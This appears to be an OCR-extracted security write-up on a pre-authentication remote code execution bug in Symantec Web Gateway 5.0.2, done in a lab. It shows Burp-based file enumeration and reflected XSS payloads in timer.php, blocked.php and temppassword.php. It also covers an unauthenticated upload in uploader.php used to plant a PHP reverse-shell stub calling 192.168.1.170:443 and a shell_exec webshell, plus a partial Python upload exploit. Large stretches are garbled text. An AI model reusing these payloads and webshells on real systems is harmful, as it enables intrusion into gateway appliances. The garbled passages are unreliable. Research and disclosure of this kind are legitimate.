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Symantec Web
Gateway
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Intro

Ly (KAa Res®ibavo® yfdiund RCE bigjn Symantec Web Gateway 5.0.2Fhis
time [1] we will talk abouthe bug available founauthorizedusers.Reader with the basic
knowledge of python language and OWASP TORvilDbe able to continue and should be able to
dzy RSNR Gl YR (GKS ¢ KXkLS2 Gederibéd balow. IrOneIralstagg de wdll lertzAip
with the fully workingoreauthRCE exploit.

Enjoy and have fun! ;)

Cody


https://code610.blogspot.com/2020/03/postauth-rce-in-symantec-web-gateway.html
https://twitter.com/CodySixteen

Environment

In my little laboratory | used similangironmentthat | used during thdastreseart1. In my
VirtualBox | prepared:

9 Kali Linux with all my scripts and tools (we will also use it as a jumphost)
Inthe VMPlyer | prepared:
1 Symantec Web Gateway 5.0.2.8

When your Gateway VM is ready towe need toW A B y Sto dbritidug. Bog in as root and
check if in your webroot directoryvar/www/html/ ) you can finduploadsfolder.

If you can not; createit and make it writableThis is the oly way this exploit scenario will work.

Both machines shouldseeeach other (which means that both of them should be connected to the

onenetworkcY2a il 2F oGy SO¥20RAAEIGGAYIE 6KSY LQY R2A)

VirtualBox, so it should work for you as well).

Next...



Preparing (he basics)
2 KIFGQa NBFfte AYLRNIFIYG (G2 O2ydAydzsSyYy

1 You are familiar with the basic python programming concegijts [

1 You understand how to create basic python cliantl/or server{4]

1 You are familiar witmequest$5]

f ,2dz dzy RSNRAGIFYR @gKBG Aa I oNBOSNAS aKStté¢ o
If for allof (i K 2 @edlirements & 2 dzNJ | y dysuSaneJoriaivergttaightivayto building
your initialpoc! ;)
Ldzih AT GR2YXNE gy22NINE ® wSIRAY3 |tf 2F GKAa OFy o685
the python programming but | believe that practicing steypstep and partby-part will give you
results you want to achiev&ooner than you think. ;)

¢r1S8 22dzNJ GAYS YR NBIR G(GKS Yihyddto6aod LQY NBIF Re


https://www.learnpython.org/
https://realpython.com/python-sockets/
https://requests.readthedocs.io/en/master/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Ly A G A kof-O 20yLONRLAGFE
Ok. AssumingyouMIS | R& 1y2¢ K2¢g (2 0dzA{ RcohnecioSyniaftecLIe (1 K2y ¢
Web Gateway via SSH. We sholid on the same step as befofig]

ntab -u . = ami™) . ) - . nan

. $min . - $hour . . $dayOfMonth ." ™. $month ." *.

Ok but as you probably remembeme already done that last time.

Sol decided tary a new approach and this time whémvas connected to the VIia ssh) | listed
web root of the Gateway:

updat
update_r

[

1
1
1
1
1
1
1
1
1
1
1
1
1
1

117# 1s -1 | g

To do that | used simple command:

[ $1scl| grep ce o\.phpé |

| listed all PHP files inside webroot to preparesatb use it later with Burp Suite. But to do that, first
of all | need tccleanmy filelist log(historyoutput):


https://code610.blogspot.com/2020/03/postauth-rce-in-symantec-web-gateway.html

> tmpfilel

tmpfile2

f 1 > tmpfile3

>> tmpfile3

> tmpfiles
tmpfiled

So farso good Withetmpfile4 (list of our PHP files) | prepared a new file (this time grikfindows
where | started Burp Suit&)swglisttxt (simply copy/paste of found files):

J swglist.bat — Notatnik

Plik Edycja Format Widok
uploader.php
user.php
user_report.php
userselector.php
verifyGW.php
vlan.php
whitelist.php
wizardla.php
wizardlb.php
wizardlc.php
wizard1l.php

Next thing was to preparmy browser to use Burps aproxyand go to theaddress of Symantec
Web Gateway to intercept theequest and send it to IntrudeNext step is to add our new created
list of files to Bur@ Intruder:



[Dashboord TTarget T Proxy TMT Repeater TSequencer T Decoder TComparer

|1 X |2x|

[ Target [ Postions | Payloads | optons |

® Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attac
in different ways.

Payload set. | 1 l¥]  Payload count: 149

Payload type: | Simple list B Reguest count: 149

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

paste | | admin_messages.php

| admin_status.php
Load ... admin_updates.php
| blacklist.php
Remove blocked.php
\ browseTime.php
Clear custom_report.php
| deptTime.php
edit_alert.php
Add Enter a new tem
| Add from list ... =)

What we are doing herss called simple enumeration. Similar results you should achieve using
gobusteror dirb (available on default Kali installation). After a while we should see some results:

1 editRole.php 200 O 0 O <89 (@] @] @] o
12 edit_sysalert.php 200 O 0 ) 574 ] ] (0] (0]
13 eula.php 200 a 0 g 131833 a 4] (€] €4}
14 graphs.inc.php 200 O 0 ] 160 a a a a
15 languageT est php 200 O 0 @] 32510 a (@] (@] o
16 new_whitelist.php 200 O 0 O 574 (@] (@] o o
17 prepare_executive_summary_g... 200 a 0 g 160 a a (@] (@]
18 restore0 ption.php 200 O 0 ] 574 ()] ()] ()] ()
19 saved_alerts.php 200 a 0 g 573 a (0] (@] o
20 save_report.php 200 O 0 ] 572 a a a a
21 schedule_backup.php 200 O 0 O 576 a a a a
22 showfixed.php 200 O 0 O 570 @] @] @] @]
23 timer.php 200 O 0 O 10166 o o o @
24 whitelist. php 200 O 0 ] 570 (] (] (0] (]
25 admin_ ges.php 200 a 0 g 575 g @] @] o

| was sure that ithere is a small length of the respons¢he app is not presenting any interesting
page.(Un)fortunately it wasi®the case here. ;)

For example:



122 send_report.php 200 (@] 0 (@] 208
120 send_backup.php 200 U o o
100 network.php 200 @] 0 @] 239
123 sendSystemAlert php 200 o 0 o 241

| Raw | Headers [ Hex [ Render |

HTTP/1.1 200 OK

Date: Fri, 27 Mar 2020 08:17:51 GMT
Server: Apache

X-Powered-By: PHP/5.3.3
Content-Length: 75

Connection: close

Content-Type: text/ntml

#!/usrflocal/bin/php -q
[2020-03-27 01:47:51] Incorrect backup parameter .

So at this stage | sorted all the responses to try each pagéwpoee. | started here:

Request | Payload Status  |Eror | Redire.. |Timeout |Length
13 eula.php 200 0 o O 131833
37 eula.php 200 g 0 g 131833
85 eula.php 200 U 0 U 131833
128 showSquidE rrs.php 200 U 0 U 46294
15 languageTest php 200 U 0 U 32510
39 languageTest php 200 U 0 U 32510
96 languageTest php 200 U 0 U 32510
23 timer.php 200 dJ 0 dJ 10166
47 timer.php 200 U 0 U 10166
134 timer.php 200 dJ 0 dJ 10166

Responsgresented by the Burp Proxy:

=T

| Raw | Headers | Hex | HTML | Render |

HTTP/1.1 200 OK

Date: Fri, 27 Mar 2020 08:17:20 GMT
Server: Apache

X-Powered-By: PHP/5.3.3
Connection: close

Content-Type: text/htmi
Content-Length: 131668

<htmi>

<head>

<meta hitp-equiv=Content-Type content="text/htmi; charset=windows-1252">
<meta name=Generator content="Microsoft Word 11 (fitered)™>

<title>PART X</titlie>

<style>

Let® see response in browser:




O £ hitps//192.168.216.133/spywall/eula.php

OR ITS AFFILIATES (*SYMANTEC") IS WILLING TQ LICENSE THE LICE
E CONDITION THAT YOU ACCEPT ALL OF THE TERMS QF THIS LI

ENFORCEABLE CONTRACT BETWEEN YOU AND SYMANTEC. BY O
OADING THE LICENSED SOFTWARE OR OTHERWISE USING THE LI
R “NO" BUTTON OR OTHERWISE INDICATE REFUSAL AND MAKE NO
EMENT AND SUCH CAPITALIZED TERMS MAY BE USED IN THE SINGL

t used by certain Symantec products which is updated from time to time
ists for content filtering and antiphishing products; updated firewall rules
ce products; and updated vulnerability signatures for vulnerability assessn

Looks like it works! Greathecking next file from our responsesshowSquidErrghp:

&« & fi} © & hitps//192.168.216.133/spywall/showSquidErrs.php
p ) q php

ERR_URN_RESOLVE

@ Symantec Web Gateway

ERROR
A URL for the requested URN could not be retrieved

While trying to retrieve the URN: http://example.com
The following error was encountered:

* Cannot Resolve URN
User defined custom content wil be displayed here.

Also looking good. ;) So | decided it will be a goed tocheck all of those filesimultaneouslyn the
browser and in the BurBuite. For example:

§ root@Webgate:fvar/www/html/spywall

mp file o
temp file n. of the format temp#
- file block
impli r or oc ( ID and error cc
ed f

: $_GET['file'];

Pretty obvious XSS budswill be so easy to spot preauth XSS bugammercial applianc® Well...



i‘f_\ https://192.168.216.133/spywall/timer.php?file=">"> <h1>asd<br>asd

Symantec Web Gateway

Scanning File for Malware: '>">
asd
asd

0 of bytes scanned.
I5) Symantec asd
Web Gatewa -
Y asd'>Click here to download.

Yes. ;] Next switched from simple HTML injection to something more interestidgvaScript:

https://192.168.216.133/spywall/timer.php?file=">"> <svg/onload=alert(123)>

Worked like a charm®o at this stage | was wondering how mgogeauth)XSS bugs astill
available there?

Tofind the answerfor my own question | decided to go to the next filgmer.php:

(As you can see | usgdeponly for_GET and _POST paramete®s.dure there are more vulnerable
spots, for example _SESSION, etc...)



Next fileg blockedphp:

GET /spywaliblocked.php?id=">"><h1=asd<br=asd&history=-2&u= HTTP/1.1

Host: 192.168.216.133

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv.73.0) Gecko/20100101 F
Accept text/html application/xhtmi+xmi, application/xml,g=0.9, image/webp,*/*,q=0.8
Accept-Language: pl en-US;q=0.7 en;q=0.3

Accept-Encoding. gzip, deflate

Connection: close

Referer: hitps://192.168.216.133/spywallblocked% 2ephp

Cookie: PHPSESSID=0beT9d6529d44faaTdeTh3607T256463e
Upgrade-Insecure-Requests: 1

Responsés presented below:

<td style="padding-left: 15px ;">
<h3=Symantec Web Gateway</h3>
<h1=Downloading unknown file is prohibited</h1=<p class=translated>The file, unknown file,

= and violates company policy.</p= =p class=translated™»
<a href="javascript:spywareinfo(*="=<h1>asd<br>asd');">Click here </a>
for more information. =p=

=p=Your IT department has been notified of your reques

So again | tried to read the code and find few more bugs (or just tprgefthat this-or-that
parameter is indeed vulnerable):

bt: himisxml anndic. xmira=0 9 i *ro=0 8 l X-Py ed-Av- PHPIS 33
pt-L3 .@ root@Webgate:/var/www/html/spywall —

ibnet_profile', "*', array('profile_id" => $_GET['profile’']));

orofile’, "*', arra profile id' => $ GET['profile’]));
_GET[ "quarantine’] {

Good. Next file ¢ temppasswordphp:



< C @ © & https//192.168.216.133/spywall/temppassword.php

® Ve

“ou hawe logged in using a temporary password,
Please select a new one.

Password | |

Retype Password | |

Save Cancel

Copyright @ 2004-2020 Symantec Corporation. All rights reserved.

@ root@Webgate:/var/www/html/spywall

ord. php

cecutive_summary.php';

LetQd O K BuQét patarie®r then:

pder —->
eneral-header™>

<p>You have logged in using a temporary password.<br />Please select a new one.</p>
<form action="temppassword.php' method="post'>
<input type="hidden' name="target’ value=">"><svg/onload=prompt(123123)>">
<input type="hiiden' name="USERNAME" value=">

cbobeln mlommn tnmobood bablnbe

Great! AnotherandanotherXS®ug Next file that | found can be accessible by unauthorized user is

uploader.phpThe name of the file was very pronmigso | decided to dig a little bit deep&dn the
screen belay youll find initial request:

<« X @ © & https://192.168.216.133/spywall/uploader.php

File to upload: | Przegladaj... | meme.php Wyslij zapytanie

Burp Project Intruder Repeater Window Help
[ Dashboara | Target | frowy [ intruger | R ter | | pecoa T_c

_[ intercept T HTTP history T WebSockets history T Options ]

&~ ) Request to hitps://192.168.216.133:443
L Forward J L Drop J Intercept is on Action

J RawT Params T Headers T Hex ]

POST /spywalluploader%2ephp HTTP/1.1

Host: 192.168.216.133

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64,; x64; rv:73.0) Gecko/20100101 Firefox/
Accept: text/htmi, application/xhtmi+xmil, application/xmi;qg=0.9,image/webp,*/*;q=0.8
Accept-Language: pl.en-US;g=0.7,.en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=————————meeeeeee —-18467633426500
Content-Length: 1424

Origin: https:/192.168.216.133

Connection: close

Referer: https://192.168.216.133/spywalllupicader®2ephp

Cocokie: PHPSESSID=6f77765d114e82682937a82765d5b3bb
Upgrade-insecure-Requests: 1

e 18467633426 500
Content-Disposition: form-data; name="clicked™

---------------------------- 18467633426500
Content-Disposition: form-data; name="file"; filename="meme_php~
Content-Type: application/octet-stream

GIFs8

/*<?php /**/ error_reporting(0); Sip ="192.168.1.170"; Sport = 443; if ((Sf = "stream_socket_d

I tried very firstwebshelifile I@n trying to upload during webapp pentests. Response is presented on
next screenshot:



<« cC @ © & hitps//192.168.216.133/spywall/uploader.php

File to upload: = Przegladaj... = Nie wybrano pliku. Wyslij zapytanie

Copyng file /tmp/phpBYe3Ju to /var'www/html'uploads/meme. php
Failure!

Looks interesting! Why our file upload failed? My quick hint was that | used wrong extension of the
file (PHP). But it waftrue. ;)

Remember oukcenarid? So myupload failed because there was neveruoadfolder on the
server! ;) This is thdix(l talked at the begining:

Now ¢ asyou can see on the screen presented belplwas able to create the file | want on remote
Gateway:

Request

Raw | Params ] Headers I Hex 1

f cat -n up php POST /spywalluploader%2ephp HTTP/1.1
17# cat -n uploader.php ¢ Host: 192.168.216.133

# pwd User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64,; x64; rv:73.0) Gecko/2010)|
Accept: text'htmi, application/xhtmi+xmi, application/xmil;q=0.9, image/webp,*/*;q
Accept-Language: pl,.en-US;q=0.7 en;qg=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—--—---———— - 1846763
Content-Length: 1415
Origin: https://192.168.216.133
Connection: close
Referer: hitps.//192.168.216.133/s pywalluploader 2ephp
Cookie: PHPSESSID=6f77765d114e82682937a82765d5b3bb
Upgrade-Insecure-Requests: 1

18467633426500
Content-Disposition: form-data; name="clicked"

—————————————————————————— 18467633426500
Content-Disposition; form-data; name="file"; flename="/tm p-'men‘e.bdf
)% Content-Type: image/jpeg
no s e 3 J
if (!$len) {
' am'

B GiFos

I*<?php /**/ error_reporting(0); Sip ='192.168.1.170", Sport = 443; if ((Sf = 'stre|

So | decided to upload my PHP webshell again



X ©

GIF98 /*

U &£ https

192.168.216.133/uploads/m

m
T

Great! Looks like @ almost done ;]

Checkingexample with phpextension

Host: 192.168.216.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:73.0) Gecko,
Accept: text/html application/xhtmi+xmi,application/xml;g=0.9,image/w:
Accept-Language: pl.en-US;q=0.7 en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: muitipartform-data; boundary=-———————————————— 18467633426500
Content-Length: 325

Origin: https://192.168.216.133

Connection: close
Referer: https://192.168.216.133/
Cookie: PHPSESSID: >
Upgrade-Insecure-Requests: 1

Firefox/73.0

ywalluploader s 2ephp

d114e82682937a82765d5b3bt

e | BABT 633426500
Content-Disposition: form-data; name="clicked”

e 184676334 26500
e isposition: form-data; name="file"; flename="meme2 php"
Content-Type: image/jpeg

GIFg8

<?php shel_exec(S_GET[x]);
1RAB78313426500

Created again

VAL

HTTP/1.1 200 OK

Date: Fri, 27 Mar 2020 09:39:03 GMT
Server: Apache

X-Powered-By: PHP/5.3.3
Content-Length: 321

Connection
Content-Type: text’html

close

<iitle>Upload a file! <litie>

Copying file tmp/phpHIADJQ to /var'www/htmlluploads/imeme2.php

“1# cd svarswwwshtml uploadss

uploadsI1# 1= -1

apache apache

36 Mar 27 B82:39 memeZ.php
apache apache 1122 Mar 27 B1:57 meme.php
apache apache 1122 Mar 27 B1:55 meme.txt

Good. | think it is a good moment to start preparing our exploit ;)



Weaponizing
Let@ start from the same step as we finished kssttion. Our goal for now is to create a pradf
concept code tht can:

1 CGonnectto remote webpage
1 eckif there is anupload/ directory
1 If so¢uploadPHP file

Simple Beleton should behave like this example presented below:

'-E'.lElEi.E'lEl.l 3

hecking uploads
continuing. ..

pload a filel</titles

Copying file AtmpsphpvkmyIy to Avarsuwwshimlsuploa
: #

So this time wél start here:

Er
to use this bug:
- uploads folder must exists on remote host
- and it must be writable

have fun

ys, re
requests
ssl
functools partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)

target = sys.argv[1]

def main():

print c
print \ ( target )

print

As you can see | usedvarkaroundfor SSL/TLS4l.wrap_socket)t helped me to connect tthe
host. Next part of the code is presented below:



Thispocis pretty simple so far) We are preparig ourbaseUrit will be the hostname of our target
VM). Next wél define the path to thauploadsfolder. If thisrequestwill work fine, the(HTTP¥tatus
codeof the response should be equal to 200.

Nextc if our condtion is meetc we will do the same for next URLpath to the uploads Now if our
status_codas also equal to 200 it means that we are ready to go and we can now upload our
webshell

As an¥xample uploafil usedsh.phpfilename with contento<?php phpinfo(¥ to simply check if our
uploaded file can be executed when @isit it using browser:

Good, created. Checking tffiee in thebrowser:

Great!Our next g@al is preparing a working reverse shell ;]@elo it!





















